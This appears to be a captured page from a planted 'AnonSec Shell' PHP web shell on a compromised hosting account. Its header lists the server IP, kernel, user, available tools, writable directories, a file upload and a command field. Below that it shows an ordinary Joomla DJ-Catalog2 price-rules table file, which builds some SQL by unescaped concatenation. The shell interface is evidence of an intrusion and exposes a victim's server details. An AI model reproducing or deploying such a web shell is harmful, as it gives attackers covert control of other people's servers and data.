AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/brest/administrator/components/com_djcatalog2/tables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/brest/administrator/components/com_djcatalog2/tables/pricerules.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) 2012 DJ-Extensions.com LTD, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

use Joomla\Registry\Registry;

// No direct access
defined('_JEXEC') or die;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Factory;
class Djcatalog2TablePriceRules extends Table
{
    public function __construct(&$db)
    {
        parent::__construct('#__djc2_price_rules', 'id', $db);
        $this->labels = array();
    }


    function bind($array, $ignore = '')
    {
        if (!in_array($array['type'], array('percent', 'amount'))) {
            $array['type'] = 'percent';
        }

        if (!in_array($array['operation'], array('sub', 'add'))) {
            $array['type'] = 'sub';
        }

        if (isset($array['product_id']) && is_array($array['product_id'])) {
            $registry = new Registry();
            $registry->loadArray($array['product_id']);
            $array['product_id'] = (string)$registry;
        } else if (!isset($array['product_id'])) {
            $array['product_id'] = '';
        }

        if (isset($array['category_id']) && is_array($array['category_id'])) {
            $registry = new Registry();
            $registry->loadArray($array['category_id']);
            $array['category_id'] = (string)$registry;
        } else if (!isset($array['category_id'])) {
            $array['category_id'] = '';
        }
        
        if (isset($array['producer_id']) && is_array($array['producer_id'])) {
        	$registry = new Registry();
        	$registry->loadArray($array['producer_id']);
        	$array['producer_id'] = (string)$registry;
        } else if (!isset($array['producer_id'])) {
        	$array['producer_id'] = '';
        }

        if (isset($array['countries']) && is_array($array['countries'])) {
            $registry = new Registry();
            $registry->loadArray($array['countries']);
            $array['countries'] = (string)$registry;
        } else if (!isset($array['countries'])) {
            $array['countries'] = '';
        }

        if (isset($array['extra_fields']) && is_array($array['extra_fields'])) {
            $array['extra_fields'] = json_encode($array['extra_fields']);
        } else if (!isset($array['extra_fields'])) {
            $array['extra_fields'] = '';
        }

        if (isset($array['customer_groups']) && is_array($array['customer_groups'])) {
            $array['customer_groups'] = json_encode($array['customer_groups']);
        } else if (!isset($array['customer_groups'])) {
            $array['customer_groups'] = '';
        }
        
        if (isset($array['deliveries']) && is_array($array['deliveries'])) {
        	$registry = new Registry();
        	$registry->loadArray($array['deliveries']);
        	$array['deliveries'] = (string)$registry;
        } else if (!isset($array['deliveries'])) {
        	$array['deliveries'] = '';
        }
        
        if (isset($array['payments']) && is_array($array['payments'])) {
        	$registry = new Registry();
        	$registry->loadArray($array['payments']);
        	$array['payments'] = (string)$registry;
        } else if (!isset($array['payments'])) {
        	$array['payments'] = '';
        }


        return parent::bind($array, $ignore);
    }

    public function store($updateNulls = false)
    {
        $labels = $this->labels;
        unset($this->labels);

        $date = Factory::getDate();
        $user = Factory::getUser();

        if (!$this->id) {
            if (!intval($this->created)) {
                $this->created = $date->toSql();
            }

            if (empty($this->created_by)) {
                $this->created_by = $user->get('id');
            }
        } else {
            $this->modified = $date->toSql();
            $this->modified_by = $user->get('id');
        }

        $store = parent::store($updateNulls);

        if ($store) {
            $db = Factory::getDbo();

            $db->setQuery('delete from #__djc2_price_rules_labels where price_rule_id='.(int)$this->id);
            if (!$db->execute()) {
                $this->setError($db->getErrorMsg());
                return false;
            }

            foreach ($labels as $label) {
                $db->setQuery('INSERT INTO #__djc2_price_rules_labels (price_rule_id, label_id) VALUES (' . $this->id . ', ' . $label . ')');
                if (!$db->execute()) {
                    $this->setError($db->getErrorMsg());
                    return false;
                }
            }

        }


        return $store;

    }
}


Anon7 - 2022
AnonSec Team